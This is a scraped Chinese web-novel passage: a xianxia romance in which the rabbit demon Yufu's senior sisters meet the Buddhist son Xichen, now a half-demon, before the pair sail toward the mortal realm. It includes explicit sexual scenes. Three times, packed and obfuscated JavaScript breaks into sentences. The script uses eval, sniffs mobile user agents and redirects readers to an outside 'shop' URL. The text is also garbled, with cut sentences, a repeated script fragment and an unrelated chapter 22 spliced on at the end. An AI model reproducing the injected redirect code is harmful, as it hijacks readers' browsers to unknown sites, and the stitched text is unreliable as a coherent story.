“可以吗?” 师姐们沉默了,消息没有错的话,将玉扶带在身边的那位,并不是佛宗中普通的佛修,而是只此一位的佛子,阿扶睡了也就罢了,这若是带回宗门—— 佛宗那群认死理的,岂不是要将合欢宗打为邪宗? 虽然她们合欢宗修炼的法门是有点歪,可向来讲究你情我愿,是再正派不过的宗门。 这好为难啊,可这拐带莫名有点爽是为什么? 几位师姐眉眼乱飞地交流,还是红裳先正经咳了一声:“阿扶,你想带他回去,也要问过那位的意思,他可愿意?” 六双好奇的眼倏地一下盯住玉扶。 玉扶慢吞吞地掀眼:“应是愿意的吧,可我方才问他,他还没回答我。” 众师姐彼此对了个眼,无比肯定,方才她们看过的房中并无旁的人,那阿扶是何时问的? 那位佛子又在何处? 几乎是同时地,她们开始怀疑,莫不是消息出了错,或者佛子本就是假的,阿扶是上了个坏人的当,否则见个面又有何惧的? 细想,真是佛子的话,心性又岂会是轻易栽在阿扶这样没手段的小兔妖手中的? 然则,当她们目光一齐移到玉扶漂亮的小脸蛋时,又否定了方才所想,长眉秀目,会说话似的眼睛,嫣红的小嘴,稚嫩秀丽中,懵懂而独特的风情,没有再比挑剔多情的她们更知晓这有多吸引人,别说是佛子,就是天上的谪仙都摘得,再则,进步甚多的修为也做不得假。 所以,这个勾得她们天真的小兔子要带回家的男人到底在哪? 众师姐们几乎想撸袖子干架了。 玉扶也终于察觉自己说话又大漏勺了,补救地为息尘解释:“他有一点点小麻烦,身体出现了一点变化,但他很好的,是我还没有问过他,可不可以见师姐们。” 很好,一听更不像是传说中的佛子了,更想干架了。 七师姐最为温柔地站出来:“既如此,阿扶不如去问问他可愿见见你的家人?” 玉扶也正有此意地点头,于众师姐的目送中,她重新回了客房,还极为小心地阖上了门,小声呼唤息尘。 在她唤第二声的时候,息尘小蛇就已经出现在她眼前,暂时处于虚弱期的他,只能维持着小蛇的形态,他并不能听到玉扶与她的师姐们在外谈论了什么,但可见的,阿扶与她的同门们感情应是很好,或许,她们是来接玉扶回家的。 有那么一刻,他是失落的,可面对无知无觉的阿扶,他又深沉地等待她要说的话。 玉扶确实无知无觉,至少她无法从一条不凶的小蛇面上瞧出呆以外的情绪,她托脸而坐,用近与息尘平视的目光与他道:“息尘,我可以带你去见我的师姐们吗?” 想了想她又补上了一句:“她们知晓你是佛子。” 一瞬,息尘就懂了玉扶为何有此问,阿扶的师姐们或是通过某些途径,知晓一直同玉扶在一起的是何人,但大抵是想不到佛子会突然成为了半妖。 此事即便到了如今,知晓的也不过寥寥,玉扶一直同他在一起,却是再清楚不过,与其说她是在问可不可以见她师姐,不如说是问,这件事可不可以令旁人知晓。 她在维护自己。 息尘轻易得出这个答案,蛇信不自主地吐了吐,是愉悦的感觉,他缓缓地品味情绪,开口:“阿扶,不必为我有顾虑,这些时日,我予你带来不少麻烦,是该见见你的同门们。” 玉扶不赞同地哼了哼:“你才不是麻烦,是我想跟着你呢。” 而且还是别有用心的那种跟,息尘就是太好心肠,什么责都往自己身上揽,简直大呆瓜。 息尘笑而不语,活动蛇身攀上玉扶的肩,示意可以去见玉扶的师姐。 玉扶走了几步,手放上了门扇,却没有开,先偏头向息尘,有些迟疑地的小声提醒:“我忘记同你说,我的师姐们性格比较热情......言语有时候,也有点大胆。” 息尘:“嗯,无妨。” 玉扶终于推开了门,她风情各异的师姐们,原各倚各的动作瞬间扭过视线看来,三师姐程澄脾性向来暴躁,率先讥向玉扶空无一人的背后:“这是不让见?” “什么男人,大姑娘似的,阿扶,师姐这里有更好的。”说着就要往储物里掏册子。 “不是的,师姐,他在这——” 众人只见小师妹的双手摊开,一条小蛇从肩盘至手中,支起的上半身还颇人性化地与她们颔首,男子的声音传至每人的耳中:“万佛宗弟子息尘,见过诸位道友。” 玉扶的师姐们神情各异,短暂惊讶过后,满是一言难尽地相互觑看:没跑了,阿扶一定是被骗了! 万佛宗的佛子是叫息尘不错,可从来没听过是一条瞧着就能轻易捏死的小蛇,且,西境佛宗再如何包容也不至于对佛子的人选随便吧? 怎么想,都是她们软绵可爱的兔子小师妹,被不知道哪里冒出来的妖给骗了。 红裳勉强定了定神:“这位禅师倒是有些特别,我等皆为合欢宗弟子。” “阿扶,你暂将这位禅师......放下,同我来一下。” 几乎是在玉扶被大师姐招走,其他的几位师姐就一齐围了上来,她们试图让玉扶明白是被骗了。 然玉扶的回答却将她们给整不会了,她道:“可是我也是妖啊,所以他是妖又有什么关系?” “而且,他真的没有骗我,他就是暂时变得这样小……” 如此如此玉扶说了好多在妖域抢机缘遇到的麻烦,才勉强让师姐们相信她没有被骗。 只是不知为何师姐们仍旧一副白菜被猪拱了的不甘模样。 最后,玉扶没能将息尘带回山上,师姐们没能确认半妖真假是一回事,路途远也是一回事,在场师姐们能恰好聚一起,也不过是因她们也正在宗外行走,听到了消息,才从原本各处赶来,像二师姐就不在当中。 一下子,客栈就被财大气粗的七师姐给包下了,她们决定等到息尘的虚弱期过去,看看他到底是个什么模样。 终于将师姐们送走后,玉扶才不好意思地挠头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737987|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对息尘道:“我第一次下山,师姐们是不放心我,等她们见到恢复后的你,一定就不会有偏见了。” 毕竟从师姐们给她传授的审美标准来看,男人只要够补,够好看,其他的就都不是问题。 息尘其实并不在意这些,可是当见得玉扶被她的师姐们团团围住的热闹模样,就知有些事必须同玉扶说清楚,他并不准备同玉扶回家。 他也不该因自己的不舍,强留玉扶陪伴在他身边,她不是他一开始以为的无家可归的小兔,她有依靠,有很多喜爱她疼爱她的同门,也已经变得厉害许多,不是非他不可。 息尘蓦地怅然,可还是与玉扶说了:“阿扶,待恢复后,我欲往凡域。” “你既与师姐们相遇......正可归家。” 他语调平静,停顿却略显艰涩。 玉扶眼中水光倏地就出来了,她真的好难懂佛修,息尘分明也喜爱她,可是为什么每次都想着让她离开呢,好多好多次了,佛修不是应该不打诳语不违本心吗? 她咬了一下下唇,表情嗔怨极了:“阿裴就不会赶我走。” 她的眼睛清澈纯美,雾蒙蒙的一层泪意,就是说着生气的话,都有一种被欺负了的委屈可怜之感,短短的对视,息尘遽然就败下阵,他用圆圆的脑袋挺到玉扶的脸侧,笨拙地蹭了蹭。 “你在安慰我吗?”玉扶不领情地哼哼:“可你还是要扔下我。” 那不满意的小表情,直将息尘算做了负心人。 可若息尘的心再硬一些,态度也更坚定一些,便会发现玉扶可怜巴巴下的作态。 但他没有。 他的心肠似乎怎么都对玉扶硬不起来,一次一次地会被玉扶的装乖欺骗,也一次一次地会为她心软,他愧疚十分,耐心十足,他与玉扶讲凡域难以到达,讲凡域灵气匮乏。 玉扶不置可否。 他又与玉扶讲双圣诞下的,那颗没长成就被送出妖神古墟的蛋,是后来的妖王,而妖王是他的母亲,她没有失踪,或许也仍活着,只是被困在了凡域的某处。 这是息尘在与玉扶讲他去凡域的缘由,所以并不是抛弃玉扶。 然弄巧成拙的是,玉扶理解是理解了,可兴趣却更浓了,半妖复杂、神秘、有故事,她对他更好奇了,不掺杂任何目的,也不是想双修,而是更纯粹一点的,她想了解。 了解什么都可以,只要知道得更多一点,也更陪伴一点。 翌日,她开始同师姐们明里暗里地打探凡域有关的信息。 凡域灵气几乎断绝,是全然由凡人组建的城池国度,那里的凡人并不依傍宗门,而是由带天命的帝王统治,极少有修士会涉足。 便是有也多是大道无望的小角色,去凡域作威作福享受富贵罢了。 玉扶的五师姐闫宁最为博学,说起这些都不过寻常,还例外地与玉扶多科普了一些,原来凡域与修界还隔着一片无渡海,此海赤黑,海面多有罡风迷雾,这些天然的神奇屏障,既保护了另一端的凡人,也隔绝了修界这端的灵气外流。 闫宁不由感慨天地化物的神奇,却还是认为还是当修士的好些,修界也不是没有凡人,可即便是这些凡人,也常要借用蕴有灵气的灵石来驱动一些物件来做工,那连灵气都没有的地方的凡人,日子得有多难过啊? 她兀自说得畅快,好半响才反应不对,阿扶方才是不是问过她怎么去凡域? 阿扶想去凡域?! 63. 第 63 章 被玉扶问过的显然不止是闫宁。 还有被借灵石借法宝的,众人一核对,哪里还坐得住,奸猾的妖,这是还想诓骗她们的小师妹私奔!? 她们也不再等什么小蛇恢复,当下就找上了门,门扇被拍得框框作响。 房内正在调息的息尘,显然意外她们的动静,不过,经过两日的修养,他也已从虚弱期中渐缓过来,想到那些都是阿扶的师姐们,也盖因不信任他这等妖蛇会是佛宗那个息尘,这两日里并不让玉扶与他多接触。 他忖了忖,凝力化形方开了门。 甫一照面,双方都惊了惊,息尘惊的是她们的怒火。 而玉扶师姐们惊的是,出现在眼前的男子虽有发,但束得一丝不苟,周身气质清和宁静,华美面庞不妖不戾,眉眼中透出的神采更是清正无比,这样看,当真像是佛宗出来的佛子人物。 她们一宗的修士,就没有不在意男子容色的,这样一瞧,本来的火气都下去了一点,但也没下到忘记来做什么的程度,不过,比起开门见山的质问,倒是多了一份客气:“禅师看来恢复的不错。” 息尘微微笑着请诸人入内。 玉扶的师姐们人多,或坐或站,全在一方,将桌对面空位全留了出来,气势直如开堂会审。 “禅师可是要去凡域?” 息尘:“是。” 红裳:“是为逃避?” “禅师莫怪,阿扶与我等说了不少同禅师一起的经历。” “便是为了这份情谊,我等也不会将禅师的变化宣扬。” “只阿扶近日来常问及凡域之事,我等心有担忧,方做此猜测。” 息尘心底微叹了叹,料及玉扶是还未放弃想同他去凡域的想法,而玉扶的师姐们自是担心爱护她,恐他是为躲避妖域大妖的追杀与的佛宗的问责,要拐带了阿扶,才有现下这般上门。 他道:“非是逃避,只有些俗尘唯有凡域可了。” “我之麻烦同阿扶并无关联。” 红裳松了一口气,聪明人的交流,三言两语便可完全说清,好好的佛子成了妖,这事但凡宣扬了出来,不管佛宗内部暂不知晓此事,佛宗声望必然有损,问责都算是轻的那种。 至于妖域的麻烦,她们没放在心上,机缘嘛,当然是谁抢到就是谁的了。 然息尘这种完全不将麻烦牵扯阿扶的表态,说明他并不是逃避,也不是要拐带阿扶去凡域。 这就可圈可点了。 无形中,她们好感上升不少,待该说的说完,出了房门,有叛徒从中出现:“说句公道话,这佛修人品似乎不错。” 说话女子是玉扶四师姐宋霜,娃娃脸,当被众姐们视线望来时,满是无辜地一歪脸眨眼,大有“难道你们不是这样想的”意味。 闫宁赞同,说了第二句公道话:“不是骗子,阿扶不亏。” 有钱的万俟兰点头:“阿扶也是妖,不该对其他妖有偏见。” 程澄嗤笑,一句点破她们跟着五官走的三观:“你们倒不如直接点,直接说他长得好。” 几人连连赞叹:“是极是极,还是三师姐有见地。” “三师姐,见多识广。” 程澄怒瞪,爱装腼腆的老四,端庄婉约的老五,心眼比钱多的老七,合着就她缺心眼儿,就等着她说这句了是吧!? 她们这种一旦出宗门历练目的就不纯的门派,看脸是基础,要第一眼见到的不是幺指细的小蛇,而是今日的那张脸,就算玉扶真被骗了,也能夸个眼光不错。 然玉扶强调她没有受骗,就是很离谱地解释,她赖上的佛修突然变成了半妖,今日一见,她们才从将信将疑变成了或许确有其事。 “那还棒打鸳鸯吗?”一直没说话的六师姐石薇出声问。 众人一齐看向了大师姐,又扭头兀自说开了:“大师姐都给要给那佛修送船去凡域了,当然是要拆散喽。” “这也是没办法的事,”闫宁佯作叹气:“阿扶那样单纯,才下山就在眼皮下丢了一次,若是去了凡域不回来,可哪里寻去?” “小兔子大了,还是要放放手,”程澄不赞同:“她这次进步就很大,比之在山上同那些灵兽混在一块,心眼都多了不少。” “你们不懂大师姐的心!”万俟兰摇头比划身高:“阿扶这么大的时候就失了姥姥陪伴,都是大师姐一日一日往山上跑地看顾,这孩子走歪了路,要跟人跑了,换了我也不能忍!” 话一落,就遭来了红裳意味十足的一瞥,继而目光划过在场的师妹:“我懂你们意思,阿扶成长如今,有了自己看男人的眼光,是不该保护太过。” “既确认不是被骗,我也不是不讲理的人,给他备船权当做是谢过他对阿扶的照顾。” “至于阿扶那边——”红裳一甩桃色袖摆,沉脸道:“我已在此耽搁几日,还有诸多事要料理。” 红裳是那类明艳不可方物的美人,即便是肃容也带着难以忽视的冷艳,可并不难看出她的让步,她最担忧的也不过是玉扶那情窦初开,抱着条小蛇对其什么都信的十足被骗模样。 然今日一谈,至少可见半妖不曾欺骗玉扶,且,其用心程度,还不定谁陷得更深,既如此,以她们宗门的作风,实不该插手过多。 她已准备离开。 * 玉扶在外逛了小半日,甫一回到客栈,听得大师姐要走了,其他几个师姐也有要离开的意思,不舍地眼泪汪汪。 “既不舍,就同我一起走。”红裳道。 玉扶眼泪收了回去:“七师姐说过的,找情人的时候就是要独身才好发挥,师姐带着我如何使得!” 红裳被她的学以致用给闹无语了,点了点她的额,塞给她一个储物的:“近来新结识了个器修,做了一些小玩意,都便宜你了。” 有了大师姐开头,各师姐也纷纷拿出不少有意思的玩意给玉扶,玉扶一下就见识到了师姐们的战绩惊人,其情人有丹修、音修、剑修…… 最后,最豪气的还是七师姐,玉扶看了一眼她说的“占地方的麻烦玩意”,竟是她今日出门想买的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749646|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵船,她开心得都想变成兔子扑到七师姐怀里。 万俟兰口气淡淡:“本来该大师姐给准备的,不过我揽了来。” 她递眼道:“阿扶,你懂我对你的好的吧?” 玉扶点头如捣蒜,她可太懂了,大师姐给的话,那灵船就到不了她的手中,息尘本就不愿带她去凡域,她好被动,可现在七师姐将可渡无渡海的灵船给了她。 她眼里都浸满了快乐的笑意,甜蜜的话不要钱的似的撒:“七师姐最好啦!” “我好喜欢七师姐……” 尤是还想说,有些视线扫来,她们立即一起装作什么都没发生。 红裳睁一眼闭一只眼,这次是真的离开了。 * 师姐们来时突然如骤雨,走时一个接一个,不知愁滋味的玉扶倏然就有了点知愁的怅怅。 故而对最后走的七师姐送的尤为远,还是万俟兰先受不了她的黏糊劲,直道要干脆带她走。 玉扶慌慌拒绝。 这两日不止一个师姐说要带她走了,可是呢,她好像已经有了自己的冒险,也有了自己的审美和想探究俘获的妖,很难再乖乖地跟在师姐们的身后。 她觉得半妖是很不一样的,他有时是息尘,有时候又是阿裴,起初惊过惧过,可现在留下来的感觉却是,好刺激啊! 短短的数月,她还从修界到妖域,甚至还将去凡域,赖上佛修,她想不到有哪一日是无趣的。 或许,她本就不是什么安分的小兔,也或许,纯粹就是半妖太过吸引人。 总之,她想不到要分开的理由。 她将师姐们送的东西,装入自己妖纹下的纳物中,只留了一装有灵船的储物挂在外,步伐都几多轻快地往客栈赶。 * 被包下的客栈,异常空落。 息尘的心也好似被蛀空了一般,空落落。 可细想,这样安静枯燥的每一日,也不过是回到遇到玉扶之前的寻常罢了。 早就知晓的,阿扶并不是无家可归的野兔子,迟早会有离开的一日。 尤其是在见过她的师姐们,他该更放心她的离开,也该松快,毕竟他本就不欲带阿扶去往凡域冒险。 然,再多的本该如此也说服不了不去想念。 他高估了自己的清心寡欲,有一刻,或许该让阿裴来取代他,唯有阿裴能肆意地放大所有他们共有的阴暗一面,能不管不顾地去争,去抢—— 察觉心念的偏离,息尘立即停止了深想,颂念心经,压下那些日渐频繁的杂念。 他闭着目,风拂长身,日影微荡,恍若又变作了那个清冷如圣,凛然无欲的佛子。 他也这样认为,直到窸窣带风的跑动声向他而来。 侧眼,无有欲求的瞳仁中清晰映出了少女鲜活的色彩,少女跑动时,双髻绒球跃动,发丝飞扬,笑靥与灿光勾出惊心动魄的光影。 他的心跳如若静止,蛀空变得满溢。 少女停至面前,表情骄矜得意:“息尘!你要带我去凡域!” 64. 第 64 章 息尘听到了自己违心的冷淡声线,他问:“为何?” 玉扶晃着手中的储物袋,扬着眉道:“我师姐将灵船给我了。” 息尘稍想便记起,阿扶的大师姐,愿赠他船,助他前往凡域,他原以为是想让他尽快与阿扶分开才提出的,原来不是如此吗? 他垂下眼,分明欣喜,却理智地还要多问上一句:“阿扶你不同你的师姐们回去吗?凡域——” 才起了个头,玉扶就知道息尘又要唠叨什么凡域危险,凡域不适合修炼等等,她干脆地仰脸亲上了他唠叨的唇。 世界一下安静了,固执的佛修,唇却很软,玉扶起初只是轻吮他唇瓣,后来她发现息尘的唇让开了一点,轻易地让她的舌闯了进去。 早就开过荤的兔子自然不一样,她很会亲,勾起的手,几乎挂上了息尘,息尘倒退,靠上了栏杆,用作与花草隔离的木栏只有半人高,甫一靠上,他的双手便向后撑住,微岔的腿被少女强势挤入。 明明已经决心送离阿扶,为什么不忍推开......他的心跳在激荡,在开怀,在情难自已。 指节收紧,闭上眼,妥协也放过自己地去感受这个吻,阿扶的吻,很轻,很顽皮,时而勾缠时而吐出地轻轻呼吸,令人心痒痒地不断被惹了起来。 不算陌生的反应,男子的反应,再次证明他非圣人,且还庸俗急色。 好一会儿,玉扶松开,舌尖勾走一点水丝。 好奇怪啊,息尘分明被惹起来了,可微垂的面庞怎么还能这样一点也不显淫.靡,圣洁得简直犹如净瓶中的杨柳垂露。 但,还想亲。 她动作慢吞吞地又往前挤了挤,这次,玉扶惊异了,隔着衣料的抵来的触感,变得好明显。 很快她注意到,息尘整个人其实僵硬得厉害,往后撑着身的双掌更是死死扣住了栏杆,力道大得都留下了印子。 他依旧克制且无所适从,但他这次没有再与她谈什么静心,也没有说什么“我不是他”的提醒,更没有用不容侵犯的目光推拒。 玉扶有点怀疑莫不是又换芯了,然直视他的眼,他眼中似乎有一种柔软的包容,像是自我惩罚,又像是理智与欲望的拉扯,一下就将玉扶触动了,这一定是息尘无疑。 于他的目中,玉扶难得地没有得寸进尺,而是重新将话题拉回道:“你不能不带我。” “你还欠我东西。” 息尘瞳仁微动,想要合腿,他绷得发痛,他为自己的反应感到羞耻,但说不上厌恶,更多的是,隐晦的快意,他那总被阿裴诟病的装模作样,最后的一块遮布,在他极为清醒时,在玉扶面前荡然无存。 但他做不到阿裴那样放浪,也不会主动勾玉扶,他阖了阖眼,任由发烫,任由杵着,甚至面上也仍旧洁净沉静:“阿扶,我欠了什么?” 玉扶不太懂息尘今日是怎么想的,竟然到现在都没有推开她。 她感受着快碰到肚子的硌感,倏然仰脸,神魂熟门熟路地闯入了息尘的识海中,压抑的闷哼从息尘喉间溢出。 “阿扶......不要乱来。” 他呼吸很乱,几乎要捏碎了掌下的木质栏杆。 但玉扶没有听他的,她的神魂扑倒息尘的,身体力行地提醒息尘,他欠了她什么。 圣山核心的力量,没有消化完的那一部分,寻不到了。 小兔哼哼的声音从识海中直传脑海:“我暂放你这儿的,我以后的修为,被你蜕皮的时候用了!” “难道不该还给我吗?” 息尘:“该还。” 玉扶不依不饶:“那我是债主,我一定要跟着你看着你,直到你还完。” 息尘败下了阵,或许从她重新出现的那一刻,他就已不再那样坚定,他道:“好。” 好简单,好轻易的同意,玉扶都不好继续占便宜了。 神魂退出,视线先下垂,又微红着脸地向上掀起,无辜中带着邀请的询问。 息尘顺着她视线看去,耳廓红得几乎泅出血来。 * 几日后,息尘完全从虚弱期中恢复。 玉扶回来的那一日,一念的放纵,无可转圜的余地,从院中转到房中,也从碰一下开始。 她的手掌软绵绵,动作慢抚,收拢。 他雪白僧衣下,汗水浸透内衫,额角青筋跳动,颈子喉结滑动异常,一股难以描述,也不曾经历过的颤栗直窜过脊骨。 坐姿再也挺不直地想滑下去,想......放出尾巴,原来这是这样让人难以自已的事,他咬住了唇,总是不想让自己太失态。 然而阿扶是不可控的,她稍一用力,一下就让他失了神。 玉扶的手脏了。 清洁后,便噘着嘴地同他抱怨,要亲亲,要补偿。 他的手总是干净修长,指甲也修剪齐整,玉扶将他的手翻看一会,直言,就要这个。 伴着婉转的泣音,他的手指,像是融化进了膏脂里面。 他懂得了轻一点如何,重一点又如何。 直到过去几日,回想,他仍旧恍惚。 荒唐,荒.淫,但血液却在沸腾。 他并非无欲无求,他渴求甚重。 又是一颗,他手中以修为刻纹的禅珠出现了裂纹。 他的心不静。 干脆收起佛珠,走出了船舱,这艘玉扶师姐送的灵船极尽了奢侈华美的同时,用材坚固,其上防御法阵也颇多。 这是他们出发的第一日,玉扶正在新奇地摆弄机关。 一些小机关就藏在船壁上,一拨动,几面船壁移动,垂下纱帐,玉扶又拨动,船舱内部也发生变化,探头一眼,好大一张床—— 果然,师姐给的不会是什么正经船。 甲板好安静,就只有她与息尘,此时谁也没有发出声音,却一同看到了船舱内部的变化,静谧得让人心中生出尴尬感。 佛修再如何也是个正经人,他的所有退让与改变也带着一种克己的秩序,玉扶打破了他的秩序,而后,他又习惯性地捡起了那秩序。 以至于,几日下来,无形中多了一种道不明的陌生感,并非是真的陌生,而是,每多对视一眼便会放大回忆,滋生暧昧的无所适从感。 当然,主要不适的肯定不是玉扶,她想,她也没有特别过分,不过是拉着他的手做了一直想做的事,就这还是先礼尚往来的呢。 玉扶的手还搭在机关处,视线委委屈屈地投来,要多幽怨便有多幽怨,她生性活泼,实在受不了这种沉闷的静了,松开机关,几步拉住了息尘,眼睫上掀:“我要你还债。” 霎时,息尘耳后肌肤变红,蔓延,整个人要熟透了一般,眼前不断浮现出少女深陷情欲,淋漓湿透的娇美模样,越不想回忆,画面越汹涌而来,呼吸沉重得失去控制。 几日方捡回的冷静顷刻崩塌。 轻飘飘的纱帐飞扬在头顶,少女倾身身上,活泼的神魂小兔在识海里肆意跑跳,他的神魂在自己的主场里落在了弱势,被扑倒,被化形,触角相接,灵息动荡,但—— 甘之如饴。 那份最后的陌生屏障被打破,羞耻吟声男女交混,他渐从被动转为了主动,少女腰身被他抬起…… 天际星光铺天,海面灵船在摇,一切皆是开始。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757164|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 吹入舱内的风开始变得罡烈,一道灵力打向船壁机关,防护罩再次补上,玉扶卷着雪色僧袍,满脸好奇地趴看息尘又在刻禅珠。 并不用刻刀,而是以心念为刀,禅法为纹,注入大量修为方能成一颗。 玉扶见过这禅珠,平日里息尘就常捻在手中,后来也是这些禅珠顷刻困住了几多大妖。 原来它们是这样来的。 玉扶饶有兴趣地盯着息尘动作,视线落在他手上、颈上,还有面上,很难想象,克制之人激动起来,原来那样淫.靡,毫不吝惜地展力,迫切得她头皮都在发麻,就好像他在将他的所有理智抛却,只用紧紧凿入来宣泄。 莫名的,玉扶从他身上嗅到了一丝同阿裴一样的肆意气息,不止一次了,他们好像越来越趋近,某些时刻也变得越发相似。 经他们之口承认的,他们就是同一人,但分开的妖性与人性显出来的性格又是那样不同,他们彼此也隐约地排斥接纳,甚至争夺。 然争夺得越厉害,交织得也越紧密,玉扶的神魂与之缠上时,几乎都要辨不出他们之间的区别了,譬如,息尘如今也能得心应手地掌控妖躯,用阿裴才能用的术法;而阿裴,在脱离圣山后,也竟破天荒地学会了审时度势与忍让。 种种发现下,玉扶只觉紧迫。 她馋息尘好久了,好心肠的,温和的,却难以攀折的佛修,终于被她吃到了。 她见到了他为自己变得奇怪,也感受到了他也对自己的喜欢。 讨债真是让人满足极了! 想着,玉扶开心地卷着息尘的僧袍打滚。 息尘被她动静吸引,垂眼看她,他的雪色僧袍被裹在少女皙白的肌上,显出窈窕的线条,肩颈一半散开,起伏可见曼妙蓬雪,稍别视线,少女膝弯往下小腿莹白匀称,脚丫波浪似的摇摆晃荡。 息尘目光变得幽深,眸中欲念深重得快要溢出来,热情的小兔,她不单纯,也不无辜,她的脚背踢到了他的背,不挪开,反一下一下地蹭。 一次与无数次似乎并没有区别。 玉扶捣乱的脚丫被握住,抻直了的拉扯,息尘摸上了玉扶柔软的发,顺着脊背往下,玉扶被摸舒服了地扭身,双腿搭在息尘腿上,仰颈等待亲吻。 清泠泠的吻压来,她的手也被握住了,有珠串套上她手腕,偏眼瞧去,竟是息尘先才一通忙碌刻出的佛珠,呀声抬手:“给我的?” “嗯。”息尘缓慢一吻后抬起脸,将玉扶抱坐腿上,也将她的发从衣襟中理出,然后缓慢给她笼好衣袍。 一番动作,欲念方压下,嗓音恢复几分冷静:“阿扶,马上要出无渡海了,进入凡域后,这串佛珠勿要摘下。” 玉扶惜命得紧,这样的好东西,不管凡域有没有危险,她才舍不得摘呢,当下抱着息尘的脖颈蹭:“我好喜欢。” 柔软的唇瓣若贴若离地贴在息尘薄红的肌肤上,她不再掩饰对他的贪图,她太喜欢快乐的事了,贪心得就算吃不消也喜欢。 息尘很快又被她惹起来,然而,无渡海又对他们显出了恼人的一面,飓风卷来,灵船被打得噼啪作响,船体护罩携带的灵力也在快速流矢。 海水产生不同寻常的对流,灵船不断经历打转和颠簸,他们不得在灵船毁坏前,将船稳定下来。 一出了船舱,便见无数水龙卷上连雷云,下延水面,一道道气柱天然成了阻拦两域的屏障,而在这些超然的景象之后,却是风平浪静,那里,似乎就是凡域。 不用思索,收起灵船,息尘携着玉扶躲过飓风与龙卷,穿过气柱,最后跨过一个海浪,足尖再点海面,已是凡域。 22-30 第22章 “你记不记得那条最干净的街道, 那个小蜥蜴妖说,城主马上要娶妻,我们等他娶妻, 一起混入迎亲的队伍,一定能见到城主, 到时我们便一起将城主干掉。” “干掉他, 城中的所有妖就没有抓我的必要了。” 干掉比自己厉害许多的大妖, 玉扶越说越兴奋, 她还是第一次想这么多, 这么大。 息尘安静听她说完,唇角笑意加深,计划虽直白粗陋, 但也不是不可行, 只是:“那我们要等上一等了,在这之前,阿扶,你要先想想, 怎么混入迎亲队伍。” “即便于婚礼之上, 斩杀了蛮虎妖, 到时要面对的怕也不是少数几个妖,必须及时撤离。” “再则,这这座城的古怪之处, 也必须弄清。” 没有比不被质疑,还帮忙点出缺漏更温柔的鼓励了。 玉扶连连点头, 倏地觉得整座妖城都不可怕了。 既有了主意,玉扶便不再想躲在角落,她收起幻形斗篷, 改服用了妖息丹,暂时遮盖了自己身上原本的味道。 只要不面对面地撞见,就没有妖能从味道上寻出她来。 息尘也换了妖纹与斗篷。 是鹤妖纹,红色的,细长交错的两条,在额中心。 极致的红,于息尘圣洁温和的面庞上,冲击尤甚。 玉扶眸底又不受控地沁出妖性的红,他什么时候才能答应她一起修炼啊? 息尘:“阿扶。” 亲和又带着些振聋发聩的声音。 息尘用上了静心的言法,他早有感觉,玉扶不知是何妖性使然,总会昏然地做出些不合时宜的举动,说出些大胆又让人无从招架的话。 好在他的言法对她颇有些作用,能时时警醒。 他望着玉扶清明了的眼神,淡淡地笑:“阿扶,该离开此处了。” 玉扶哼哼地揉自己被言法振得发疼的耳朵,神志无比清明地在脑中气骂:呆瓜,没情趣。 她气得遁入地下,半晌,才从地底伸出一只手,声音也闷闷地从地下传来:“我遁地很厉害,不会被地上的妖发现。” 遁地虽无遁空快,但确实更适合当下,隐蔽,还能于地下摸清一些地点和路线。 息尘将手伸给了玉扶,很强的拉力瞬时将他拉入地下。 因要带人,玉扶特意将遁地的空间撑开了点,还特别留意掉渣的问题。 换了平时,她可舍不得这么费力呢,尤其是逃命的时候,能逃就不错了,还哪里管掉不掉土的。 不过,她也故意留了一点小心眼呢,一小片空间,只够两人贴着走。 息尘几乎不用刻意去感知,便能从中感受到玉扶贴来的温度,无论是并着走,还是侧着身,都避无可避。 亲昵得过分。 这些感觉几乎占满了他的感官,然则,若要提出些意见,息尘又不忍打击了玉扶,她已经进步很多。 息尘尤记得,初捡到玉扶时,她雪白的毛发上沾满了尘土。 罢了,待她修为更深一些便好了。 一经从敏感的思绪中抽离,息尘的神识便不囿于方寸,扩大的神识能清楚捕捉到地面之上大半个妖城的动静。 妖,非常多的妖,不止是在寻人,甚至在相互争斗吞食。 这是个完全不断掠夺的妖城。 然往回收的神识,息尘还有了发现,同样是地下,不少植被的根茎似乎异常的活跃。 “阿扶,到了前头……” 息尘微垂下脸,几乎是贴着玉扶的鬓边说着安排。 玉扶昏昏然地被带出了地面,躲了起来,对息尘的提醒,没有半点准备,她光顾着感受他呼吸喷在肌肤上的感觉了。 但此刻顺着息尘的目光瞧去,很快有了发现,他们方才突然消失的地方,冒出了根茎的须须。 先是一点儿,探头探脑小心翼翼的,继而像是着了急,探出越来越多的根须,几乎布满了一大片的地面。 且还都是先才玉扶与息尘在地下,经过留下点气息的地。 这是一只木妖。 玉扶确定。 光看城中都是凶兽一类的妖,让他们都忽视了还有偏温和的植妖一类。 这木妖好生狡猾,一直偷偷跟着他们。 